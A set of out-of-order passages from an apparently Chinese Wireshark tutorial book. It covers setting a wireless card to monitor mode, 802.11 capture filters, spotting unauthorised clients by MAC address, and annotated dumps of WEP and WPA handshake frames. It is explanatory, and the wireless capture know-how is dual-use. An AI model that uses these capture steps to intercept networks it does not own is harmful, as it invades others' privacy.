    {"text": "使用iwconfig命令设置监听模式的具体操作步骤如下： （1）查看无线网络接口wlan0的模式。 执行命令如下： root@daxueba:~# iwconfig wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off 从以上输出的信息可以看到，当前无线网络接口的模式为Managed，即管理模式。"},
    {"text": "（3）设置无线网络接口为监听模式。 执行命令如下： root@daxueba:~# iwconfig wlan0 mode monitor 执行以上命令后，即成功设置其无线网卡为监听模式。"},
    {"text": "如果无线网络接口没有关闭，执行以上命令后将出现如下提示信息： Error for wireless request \"Set Mode\" (8B06) : SET failed on device wlan0 ; Device or resource busy. 从以上提示信息可以看到，在设备wlan0上设置模式失败，该设备或资源处于繁忙状态。"},
    {"text": "执行命令如下： root@daxueba:~# iwconfig wlan0 wlan0 IEEE 802.11 Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off 从输出的信息可以看到，当前的模式已设置为Monitor，即监听模式。"},
    {"text": "未知 7.2.2 流量基本分析 当用户捕获到无线数据包后，即可对其进行基本分析。在菜单栏中依次选择“无线”|“WLAN流量”命令，打开“无线LAN统计”对话框，如图7.6所示。 图7.6 “无线LAN统计”对话框 在该对话框中显示了WLAN流量的统计信息。其中共包括14列，分别是BSSID、信道、SSID、按分组百分比、重试百分比、重试、Beacons、Data Pkts、Probe请求、Probe响应、验证、反验证、其他和Protection。每列的含义如下： ·BSSID：无线AP的MAC地址。 ·信道：无线AP工作的信道。 ·SSID：无线AP的SSID名称。 ·按分组百分比：捕获到AP数据包占总数据包的百分比。 ·重试百分比：尝试重新连接的数据包占总数据包的百分比。 ·重试：重试的包数。 ·Beacons：AP发送的信号帧数。 ·Data Pkts：客户端与AP之间传输的数据包数。 ·Probe请求：客户端发出的Probe请求包数。 ·Probe响应：AP响应客户端的Probe响应包数。 ·验证：客户端验证AP的数据包数。 ·反验证：客户端解除验证的包。 ·其他：其他类型数据包。 ·Protection：受保护的设备。 通过对该对话框中的数据分析，可以获取到附近所有AP的基本信息，如AP的名称、MAC地址、工作的信道及广播的信号帧数等。单击BSSID列的三角按钮 ，即可看到连接该AP的所有客户端及客户端的基本信息，如图7.7所示。 图7.7 AP的客户端信息 从图7.7中可以看到连接AP（CU_655w）的客户端基本信息。例如，可以获取到客户端的MAC地址和发送的数据包数据等。用户通过分析客户端的地址，还可以找出蹭网用户。 【实例7-3】 通过分析无线数据包，找出蹭网用户。具体操作步骤如下： （1）打开捕获的无线网络数据包，如图7.8所示。 图7.8 捕获的数据包 （2）从该窗口可以看到捕获文件中的所有数据包。在菜单栏中依次选择“无线”|“WLAN流量”命令，弹出“无线LAN统计”对话框，如图7.9所示。 图7.9 WLAN统计 （3）从该对话框中可以看到对无线流量的统计信息。例如，查看AP（CMCC-u9af）下连接的客户端，以找出蹭网用户。单击MAC地址64:1d:2b:ec:64:f6左侧的三角按钮 ，即可看到连接的客户端，如图7.10所示。 图7.10 AP下连接的客户端 （4）从统计结果中可以看到每个客户端请求的数据包数。在客户端列表中，找出请求包数最多的客户端。然后查看该客户端的MAC地址是否合法。通过查看客户端的MAC地址，以确定是否是自己允许连接的地址。如果是一个合法的MAC地址，则该客户端是一个合法用户。如果不是一个合法的MAC地址，则说明该客户端可能正在蹭网。 未知 7.2.3 捕获过滤 用户在捕获无线网络数据包时也可以根据基本信息进行捕获过滤。其中，IEEE 802.11无线数据包是基于链路层进行过滤，可指定的传输方向为ra、ta、addr1、addr2、addr3和addr4。为了方便用户设置无线数据包的捕获过滤器，下面将介绍常用的Wi-Fi捕获过滤器。 ·wlan ra ehost：捕获指定IEEE 802.11 RA帧（接收地址）的无线数据包。除了管理帧（frame）之外，RA帧存在于其他的所有帧中。 ·wlan ta ehost：捕获指定IEEE 802.11 TA帧（发送地址）的无线数据包。除了管理帧（frame），CTS（Clear To Send）和ACK（Acknowledgment）控制帧外，TA帧存在于其他的所有帧中。 ·wlan addr1 ehost：捕获IEEE 802.11第一地址的无线数据包。 ·wlan addr2 ehost：捕获IEEE 802.11第二地址的无线数据包。第二地址区（The second address field）存在于除了CTS和ACK控制帧之外的所有帧中。 ·wlan addr3 ehost：捕获IEEE 802.11第三地址的无线数据包。第三地址区存在于除控制帧之外的管理帧和数据帧中。 ·wlan addr4 ehost：捕获IEEE 802.11第四地址的无线数据包。第四地址区仅存在于Wireless Distribution System帧中。 ·type wlan_type：捕获指定类型的无线数据包。其中，可使用的帧类型值为mgt、ctl和data。 ·type wlan_type subtype wlan_subtype：指定帧类型和子类型的捕获过滤器。其中，可指定的帧类型包括mgt（管理帧）、ctl（控制帧）和data（数据帧）。当指定帧类型为mgt时，则指定的子类型有效值为assoc-req、assoc-resp、reassoc-req、ressoc-resp、probe-req、probe-resq、beacon、atim、disassoc、auth和deauth；当指定帧类型为ctl时，则指定的子类型有效值为ps-poll、rts、cts、ack、cf-end和cf-end-ack；当指定帧类型为data时，则指定的有效子类型为data、data-cf-ack、data-cf-poll、data-cf-ack-poll、null、cf-ack、cf-poll、cf-ack-poll、qos-data、qos-data-cf-ack、qos-data-cf-poll、qos-data-cf-ack-poll、qos、qos-cf-poll和qos-cf-ack-poll。 ·subtype wlan_subtype：捕获指定子类型的无线数据包。 ·dir dir：捕获指定方向的IEEE 802.11帧。在IEEE 802.11帧中，Data Frame具有方向，使用DS（分布式系统）字段来标识，以区分不同类型帧中关于地址的解析方式。其中，DS字段用两位表示，这两个位的含义分别表示To Ds和From DS。该捕获过滤器可使用的有效方向值为nods、tods、fromds、dstods或一个数字。其中，nods值对应的数字为00；tods值对应的数字为01；fromds值对应的数字为10；dstods值对应的数字为11。"},
    {"text": "未知 7.3 分析数据 当用户捕获到数据包后，即可对其进行分析。通过分析数据包，用户可知AP使用的认证方式及客户端与AP认证的交互过程等。另外，在分析无线数据包时，也可以借助显示过滤器对其数据包进行显示过滤，以获取到用户需要的数据包。本节将介绍分析无线数据包的方法。 未知 7.3.1 常用显示过滤器 一般情况下，捕获到的无线数据包为3种类型，分别是关联帧、数据帧和控制帧。用户根据帧类型进行显示过滤，即可获取到用户想要的数据包。为了方便用户很好地分析无线数据包，下面将列举出用于过滤不同类型帧的显示过滤器，如表7.2所示。 表7.2 过滤无线数据帧的过滤器 对于无线数据包，其使用协议都相同，都是802.11，所以用户则必须使用表达式形式进行过滤。下面列举出了一些常用的显示过滤器，如表7.3所示。 表7.3 常用的显示过滤器 未知 7.3.2 分析认证方式 认证方式是指AP使用的加密方式。通常情况下，AP使用WEP或WPA进行加密。如果AP使用WPA认证方式的话，在包详情中将看到WPA Information Element信息。如果使用WEP认证方式的话，将看不到WPA Information Element信息。通过分析数据包AP广播的信号帧，即可知道其认证方式。为了快速找到AP的信号帧，可以使用显示过滤器wlan.fc.type_subtype eq 0x08进行过滤。当成功过滤数据包后，将显示如图7.11所示的界面。 图7.11 成功过滤数据包 从分组列表的Info列可以看到，所有分组都是信号帧（Beacon frame）。而且从状态栏中可以看到，已显示了6021个数据包。此时，选择任意一个分组，即可在分组详情中看到其认证方式，如图7.12所示。 从分组详情中可以看到，该分组中包括有WPA Information Element信息，说明使用的认证方式为WPA。而且还可以看到该AP中启用了WPS功能。如果使用WEP加密的话，将不会出现WPA Information Element信息，如图7.13所示。 图7.12 WPA认证方式 图7.13 WEP认证方式 从包详细信息中可以看到，没有包括WPA Information Element信息。由此可以说明该AP使用的认证方式为WEP。"},
    {"text": "（1）第一次握手，4572帧的包详细信息如下： Frame 4572: 48 bytes on wire (384 bits), 48 bytes captured (384 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #802.11 radio信息 IEEE 802.11 Authentication, Flags: ........ #认证头部 Type/Subtype: Authentication (0x000b) #帧类型/子类型 Frame Control Field: 0xb000 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #接收者地址（RA） Destination address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #目的地址（DA） Transmitter address: InproCom_57:a7:9a (00:08:22:57:a7:9a) #发送者地址（TA） Source address: InproCom_57:a7:9a (00:08:22:57:a7:9a) #源地址（SA） BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID .... .... .... 0000 = Fragment number: 0 #分片编号 0000 0001 1010 .... = Sequence number: 26 #序列号 IEEE 802.11 wireless LAN #认证信息 Fixed parameters (6 bytes) #固定参数 Authentication Algorithm: Open System (0) #认证算法 Authentication SEQ: 0x0001 #认证序列号 Status code: Successful (0x0000) #状态码 以上部分列出了第一次握手的认证头和认证详细信息。"},
    {"text": "（2）第二次握手，4573帧的包详细信息如下： Frame 4573: 48 bytes on wire (384 bits), 48 bytes captured (384 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #802.11 radio信息 IEEE 802.11 Authentication, Flags: ........ #认证头 Type/Subtype: Authentication (0x000b) #认证类型/子类型 Frame Control Field: 0xb000 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: InproCom_57:a7:9a (00:08:22:57:a7:9a) #接收者的地址（RA） Destination address: InproCom_57:a7:9a (00:08:22:57:a7:9a) #目标地址（DA） Transmitter address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #发送者的地址（TA） Source address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #源地址（SA） BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID .... .... .... 0000 = Fragment number: 0 #帧编号 0000 0000 0000 .... = Sequence number: 0 #序列号 IEEE 802.11 wireless LAN #认证信息 Fixed parameters (6 bytes) #固定参数 Authentication Algorithm: Open System (0) #认证算法 Authentication SEQ: 0x0002 #认证序列号 Status code: Successful (0x0000) #状态码 以上部分列出了第二次握手包的认证头和认证详细信息。"},
    {"text": "（1）第一次握手，219帧的包详细信息如下： Frame 219: 48 bytes on wire (384 bits), 48 bytes captured (384 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #802.11 radio信息 IEEE 802.11 Authentication, Flags: ........ #认证信息 Type/Subtype: Authentication (0x000b) #类型/子类型 Frame Control Field: 0xb000 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #接收者的地址（RA） Destination address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #目标地址（DA） Transmitter address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #发送者的地址（TA） Source address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #源地址（SA） BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID .... .... .... 0000 = Fragment number: 0 #分片号 0011 0000 1110 .... = Sequence number: 782 #序列号 IEEE 802.11 wireless LAN #认证信息 Fixed parameters (6 bytes) #固定参数 Authentication Algorithm: Shared key (1) #认证算法 Authentication SEQ: 0x0001 #认证序列号 Status code: Successful (0x0000) #状态码 第一次握手包的认证头部分是客户端（1c:77:f6:60:f2:cc）发送给AP（14:e6:e4:84:23:7a）的认证请求包。"},
    {"text": "（2）第二次握手，220帧的包详细信息如下： Frame 220: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #radio信息 IEEE 802.11 Authentication, Flags: ........ #认证头 Type/Subtype: Authentication (0x000b) #类型/子类型 Frame Control Field: 0xb000 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #接收者的地址（RA） Destination address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #目标地址（DA） Transmitter address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #发送者的地址（TA） Source address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #源地址（SA） BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID .... .... .... 0000 = Fragment number: 0 #分片号 0000 0000 0000 .... = Sequence number: 0 #序列号 IEEE 802.11 wireless LAN #认证信息 Fixed parameters (6 bytes) #固定参数 Authentication Algorithm: Shared key (1) #认证算法 Authentication SEQ: 0x0002 #认证序列号 Status code: Successful (0x0000) #状态码 Tagged parameters (130 bytes) #标记参数 Tag: Challenge text #标记 Tag Number: Challenge text (16) #标记编号 Tag length: 128 #标记长度 Challenge Text: d67668f2cfd5f67ef542a2cf88a931ded98ed98dd0a77 367… #挑战文本信息 第二次握手包的认证头部分是AP（14:e6:e4:84:23:7a）响应客户端（1c:77:f6:60:f2:cc）的认证响应包。"},
    {"text": "（3）第三次握手，221帧的包详细信息如下： Frame 221: 186 bytes on wire (1488 bits), 186 bytes captured (1488 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #802.11 radio信息 IEEE 802.11 Authentication, Flags: .p...... #认证头 Type/Subtype: Authentication (0x000b) #类型/子类型 Frame Control Field: 0xb040 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #接收者地址（RA） Destination address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #目标地址（DA） Transmitter address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #发送者的地址（TA） Source address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #源地址（SA） BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID .... .... .... 0000 = Fragment number: 0 #分片号 0011 0000 1111 .... = Sequence number: 783 #序列号 WEP parameters #WEP参数 Initialization Vector: 0xa0fa51 #初始向量 Key Index: 0 #密钥索引 WEP ICV: 0x3153bf32 (not verified) #WEP完整性校验值 Data (136 bytes) #数据 Data: 9a1de29a4fd539e79239cd67ee0d4cc0471c7a1926f27fc0… #随机序列值 [Length: 136] #数据长度 第三次握手包的认证头部分是客户端（1c:77:f6:60:f2:cc）发送给AP（14:e6:e4:84:23:7a）的第三次交互认证请求。"},
    {"text": "（4）第四次握手，222帧的包详细信息如下： Frame 222: 48 bytes on wire (384 bits), 48 bytes captured (384 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #radio信息 IEEE 802.11 Authentication, Flags: ........ #认证头 Type/Subtype: Authentication (0x000b) #类型/子类型 Frame Control Field: 0xb000 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #接收者的地址（RA） Destination address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #目标地址（DA） Transmitter address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #发送者的地址（TA） Source address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #源地址（SA） BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID .... .... .... 0000 = Fragment number: 0 #分片号 0000 0000 0001 .... = Sequence number: 1 #序列号 IEEE 802.11 wireless LAN #认证信息 Fixed parameters (6 bytes) #固定参数 Authentication Algorithm: Shared key (1) #认证算法 Authentication SEQ: 0x0004 #认证序列号 Status code: Successful (0x0000) #状态码 第四次握手包的认证头部分是AP（14:e6:e4:84:23:7a）响应客户端（1c:77:f6:60:f2:cc）的认证响应包。"},
    {"text": "未知 1.3.3 Windows系统安装Wireshark 从Wireshark官网获取对应的安装包后，即可在Windows系统中安装Wireshark工具。下面介绍在Windows中安装Wireshark的方法。 【实例1-1】 在Windows 10中安装Wireshark。具体操作步骤如下： （1）双击下载的Windows版Wireshark安装包，显示安装欢迎对话框，如图1.11所示。 （2）单击Next按钮，进入许可协议对话框，如图1.12所示。 图1.11 安装欢迎对话框 图1.12 许可协议对话框 （3）该对话框显示Wireshark的许可证条款信息。单击I Agree按钮，进入组件选择对话框，如图1.13所示。 （4）选择希望安装的Wireshark组件，这里使用默认设置。然后单击Next按钮，进入额外任务对话框，如图1.14所示。 图1.13 组件选择对话框 图1.14 额外任务对话框 （5）在该对话框中，设置创建快捷方式的位置和关联文件扩展名。勾选Wireshark Desktop Icon复选框。单击Next按钮，进入安装位置对话框，如图1.15所示。 （6）这里使用默认位置，单击Next按钮，进入Npcap组件安装对话框，如图1.16所示。 图1.15 安装位置对话框 图1.16 Npcap组件安装对话框 （7）单击Next按钮，进入USBPcap组件安装对话框，如图1.17所示。 （8）该对话框提示是否要安装USBPcap。如果需要捕获通过USB接口传输的数据，就必须安装USBPcap。勾选Install USBPcap 1.3.0.0复选框，并单击Install按钮，开始安装Wireshark。等Wireshark安装过程进行了大约一半的时候，将弹出Npcap许可协议对话框，如图1.18所示。 图1.17 USBPcap组件安装对话框 图1.18 Npcap许可协议对话框 （9）单击I Agree按钮，将显示Npcap安装选项界面，如图1.19所示。 （10）勾选Support raw 802.11 traffic(and monitor mode)for wireless adapters复选框，并单击Install按钮，开始安装Npcap组件。安装完成后，显示安装完成对话框，如图1.20所示。 图1.19 Npcap安装选项对话框 图1.20 安装完成对话框 （11）单击Next按钮，弹出Npcap安装完成对话框，如图1.21所示。 （12）单击Finish按钮，弹出USBPcap许可协议对话框，如图1.22所示。 （13）在该对话框中勾选I accept the tems of the License Agreement复选框，并单击Next按钮，进入USBPcapCMD License对话框，如图1.23所示。 图1.21 Npcap安装完成对话框 图1.22 USBPcap许可协议对话框 （14）在该对话框中勾选I accept the tems of the License Agreement复选框，并单击Next按钮，进入选择组件对话框，如图1.24所示。 图1.23 USBPcap CMD License对话框 图1.24 选择组件对话框 （15）单击Next按钮，进入安装位置选择对话框，如图1.25所示。 （16）这里使用默认的位置，单击Install按钮将开始安装USBPcap组件。安装完成后，显示完成对话框，如图1.26所示。 图1.25 安装位置选择对话框 图1.26 安装完成对话框 （17）从该对话框可以看到，USBPcap已安装完成。单击Close按钮，继续安装Wireshark。安装完成后，将显示如图1.27所示的对话框。 （18）从该对话框可以看到Wireshark安装完成。单击Next按钮，进入安装完成设置向导对话框，如图1.28所示。 图1.27 安装完成对话框 图1.28 安装完成设置向导对话框1 （19）从该对话框可以看到Wireshark已经安装完成。由于前面安装了USBPcap组件，用户需要重新启动系统才可以使其生效。其中，Reboot now选项表示现在重新启动系统；I want to manualy reboot later选项表示稍后手动启动系统。为了避免丢失当前工作的数据，建议用户选择I want to manualy reboot later单选按钮。然后单击Finish按钮关闭该对话框。接下来，保存当前系统中运行的程序及工作内容，然后重新启动系统。如果没有安装USBPcap组件的话，Wireshark安装完成的界面如图1.29所示。 图1.29 安装完成设置向导对话框2 （20）在该对话框中单击Finish按钮，退出Wireshark安装界面。如果现在希望运行Wireshark工具的话，则勾选Run Wireshark 3.0.3.64-bit复选框。然后单击Finish按钮，启动Wireshark工具，如图1.30所示。如果用户没有选择直接启动Wireshark工具的话，也可以直接在桌面上双击Wireshark图标来启动该工具。 图1.30 Wireshark主界面 （21）看到该界面，则表示成功启动了Wireshark工具。接下来，即可使用该工具捕获数据包了。"},
    {"text": "如果AP使用WPA认证方式的话，将通过4次握手认证建立连接。 其中，使用WPA认证的四次握手过程如图7.15所示。 图7.15 4次握手过程 以上是WPA认证的4次握手过程。"},
    {"text": "在该过程中，具体传输的信息如下： （1）AP向客户端传送自己生成的随机数A-nonce，MIC为全0。 （2）客户端收到A-nonce后加上自己生成的S-nonce就可以生成PTK，然后生成MIC，最后，客户端把S-nonce与MIC一起发送给AP。 （3）AP收到客户端是S-nonce后生成自己的PTK，然后生成MIC，与客户端传来的MIC进行比对。"},
    {"text": "其中，第一次握手（196帧）的包详细信息如下： Frame 196: 151 bytes on wire (1208 bits), 151 bytes captured (1208 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #802.11 radio信息 IEEE 802.11 QoS Data, Flags: ......F. #802.11 QoS数据头 Type/Subtype: QoS Data (0x0028) #类型/子类型 Frame Control Field: 0x8802 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #接收者的地址（RA） Transmitter address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #发送者的地址（TA） Destination address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #目标地址（DA） Source address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #源地址（SA） BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID STA address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #STA地址 .... .... .... 0000 = Fragment number: 0 #分片号 0000 0000 0000 .... = Sequence number: 0 #序列号 Qos Control: 0x0006 #Qos控制 Logical-Link Control #逻辑链路控制 DSAP: SNAP (0xaa) #目标服务访问点 SSAP: SNAP (0xaa) #源服务访问点 Control field: U, func=UI (0x03) #控制字段 Organization Code: 00:00:00 (Officially Xerox, but #组织代码 Type: 802.1X Authentication (0x888e) #类型 802.1X Authentication #认证信息 Version: 802.1X-2004 (2) #版本 Type: Key (3) #类型 Length: 95 #长度 Key Descriptor Type: EAPOL RSN Key (2) #密钥描述类型 [Message number: 1] #消息编号 Key Information: 0x008a #密钥信息 Key Length: 16 #密钥长度 Replay Counter: 1 #重传计数 WPA Key Nonce: 2167e28f8abfbb29f8586ee6de3852347771b685b7c4c73d… #WPA加密的随机数 Key IV: 00000000000000000000000000000000 #密钥IV WPA Key RSC: 0000000000000000 #WPA密钥RSC WPA Key ID: 0000000000000000 #WPA密钥ID WPA Key MIC: 00000000000000000000000000000000 #WPA密钥MIC WPA Key Data Length: 0 #WPA密钥数据长度 在第一次握手包中包括QoS数据头、逻辑链路层头和认证信息3部分。"},
    {"text": "从逻辑链路层控制捕获可以看到，该数据包类型为802.1X认证类型。 从认证信息部分可以看到，该认证信息的版本为802.1X-2004，类型为Key，密钥描述类型为EAPOL RSN Key。"},
    {"text": "2.第二次握手 在第二次握手包中，客服端随机生成32个字节的S-NONCE，并用A-NONCE、S-NONCE和第一步生成的PMK一起生成PTK（Pairwise Transient Key）。"},
    {"text": "其中，第二次握手包（198帧）的详细信息如下： Frame 198: 173 bytes on wire (1384 bits), 173 bytes captured (1384 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #802.11 radio信息 IEEE 802.11 QoS Data, Flags: .......T #QoS数据头 Type/Subtype: QoS Data (0x0028) #类型/子类型 Frame Control Field: 0x8801 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #接收者的地址 Transmitter address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #发送者的地址 Destination address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #目标地址 Source address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #源地址 BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID STA address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #STA地址 .... .... .... 0000 = Fragment number: 0 #分片号 0000 0000 0000 .... = Sequence number: 0 #序列号 Qos Control: 0x0006 #Qos控制 Logical-Link Control #逻辑链路层控制 DSAP: SNAP (0xaa) #目标服务访问点 SSAP: SNAP (0xaa) #源服务访问点 Control field: U, func=UI (0x03) #控制字段 Organization Code: 00:00:00 (Officially Xerox, but #组织代码 Type: 802.1X Authentication (0x888e) #类型 802.1X Authentication #认证信息 Version: 802.1X-2001 (1) #版本 Type: Key (3) #类型 Length: 117 #长度 Key Descriptor Type: EAPOL RSN Key (2) #密钥描述类型 [Message number: 2] #消息编号 Key Information: 0x010a #密钥信息 Key Length: 0 #密钥长度 Replay Counter: 1 #重传计数 WPA Key Nonce: f2bb6447e69f3e0f0599586f446623a31f0a7769a5d24c18… #WPA密钥Nonce Key IV: 00000000000000000000000000000000 #密钥IV WPA Key RSC: 0000000000000000 #WPA密钥RSC WPA Key ID: 0000000000000000 #WPA密钥ID WPA Key MIC: e6cab1924c5ef3d2c5fec6c40406cd0d #WPA密钥MIC WPA Key Data Length: 22 #WPA密钥数据长度 WPA Key Data: 30140100000fac020100000fac040100000fac028000 #WPA密钥数据 从Qos数据头部分可以看到，第二次握手包是客户端（1c:77:f6:60:f2:cc）发送给AP（14:e6:e4:84:23:7a）的握手信息。"},
    {"text": "3.第三次握手 在第三次握手包中，AP验证完上一个包通过后会生成GTK（Group Temporal Key），并用上一个握手包生成的PTK加密后发送到客户端。"},
    {"text": "第三次握手包（199帧）的详细信息如下： Frame 199: 255 bytes on wire (2040 bits), 255 bytes captured (2040 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #radio信息 IEEE 802.11 QoS Data, Flags: ......F. #QoS数据头 Type/Subtype: QoS Data (0x0028) #类型/子类型 Frame Control Field: 0x8802 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #持续时间 Receiver address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #接收者地址 Transmitter address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #发送者地址 Destination address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #目标地址 Source address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #源地址 BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID STA address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #STA地址 .... .... .... 0000 = Fragment number: 0 #分片号 0000 0000 0001 .... = Sequence number: 1 #序列号 Qos Control: 0x0006 #Qos控制 Logical-Link Control #逻辑链路层控制 DSAP: SNAP (0xaa) #目标服务访问点 SSAP: SNAP (0xaa) #源服务访问点 Control field: U, func=UI (0x03) #控制字段 Organization Code: 00:00:00 (Officially Xerox, but #组织代码 Type: 802.1X Authentication (0x888e) #类型 802.1X Authentication #认证信息 Version: 802.1X-2004 (2) #版本 Type: Key (3) #类型 Length: 199 #长度 Key Descriptor Type: EAPOL RSN Key (2) #密钥描述类型 [Message number: 3] #消息编号 Key Information: 0x13ca #密钥信息 Key Length: 16 #密钥长度 Replay Counter: 2 #重传计数 WPA Key Nonce: 2167e28f8abfbb29f8586ee6de3852347771b685b7c4c73d… #WPA密钥Nonce Key IV: 00000000000000000000000000000000 #密钥IV WPA Key RSC: 8f03000000000000 #WPA密钥RSC WPA Key ID: 0000000000000000 #WPA密钥ID WPA Key MIC: cff1d687f220aa8539e545e50f3cbb11 #WPA密钥MIC WPA Key Data Length: 104 #WPA密钥数据长度 WPA Key Data: 7445237bef509d1983ea3c937dfc78a2b6bc23fed351f46c… #WPA密钥数据 从QoS数据头可以看到，第三次握手包是AP（14:e6:e4:84:23:7a）发送给客户端（1c:77:f6:60:f2:cc）的握手信息。"},
    {"text": "第四次握手包（200帧）的详细信息如下： Frame 200: 151 bytes on wire (1208 bits), 151 bytes captured (1208 bits) on interface 0 #帧摘要信息 Radiotap Header v0, Length 18 #Radiotap头 802.11 radio information #radio信息 IEEE 802.11 QoS Data, Flags: .......T #QoS数据头 Type/Subtype: QoS Data (0x0028) #类型/子类型 Frame Control Field: 0x8801 #帧控制字段 .000 0001 0011 1010 = Duration: 314 microseconds #时间戳 Receiver address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #接收者的地址 Transmitter address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #发送者的地址 Destination address: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #目标地址 Source address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #源地址 BSS Id: Tp-LinkT_84:23:7a (14:e6:e4:84:23:7a) #BSSID STA address: Guangdon_60:f2:cc (1c:77:f6:60:f2:cc) #STA地址 .... .... .... 0000 = Fragment number: 0 #分片号 0000 0000 0001 .... = Sequence number: 1 #序列号 Qos Control: 0x0006 #QoS控制 Logical-Link Control #逻辑链路层控制 DSAP: SNAP (0xaa) #目标服务访问点 SSAP: SNAP (0xaa) #源服务访问点 Control field: U, func=UI (0x03) #控制字段 Organization Code: 00:00:00 (Officially Xerox, but #组织代码 Type: 802.1X Authentication (0x888e) #类型 802.1X Authentication #认证信息 Version: 802.1X-2001 (1) #版本 Type: Key (3) #类型 Length: 95 #长度 Key Descriptor Type: EAPOL RSN Key (2) #密钥描述类型 [Message number: 4] #消息编号 Key Information: 0x030a #密钥信息 Key Length: 0 #密钥长度 Replay Counter: 2 #重传计数 WPA Key Nonce: 000000000000000000000000000000000000000000000000… #WPA密钥Nonce Key IV: 00000000000000000000000000000000 #密钥IV WPA Key RSC: 0000000000000000 #WPA密钥RSC WPA Key ID: 0000000000000000 #WPA密钥ID WPA Key MIC: 32983c12a912f46e821234bf21676767 #WPA密钥MIC WPA Key Data Length: 0 #WPA密钥数据长度 从第四次握手包的QoS数据头中可以看到，是客户端（1c:77:f6:60:f2:cc）发送给AP（14:e6:e4:84:23:7a）的协商认证信息。"},
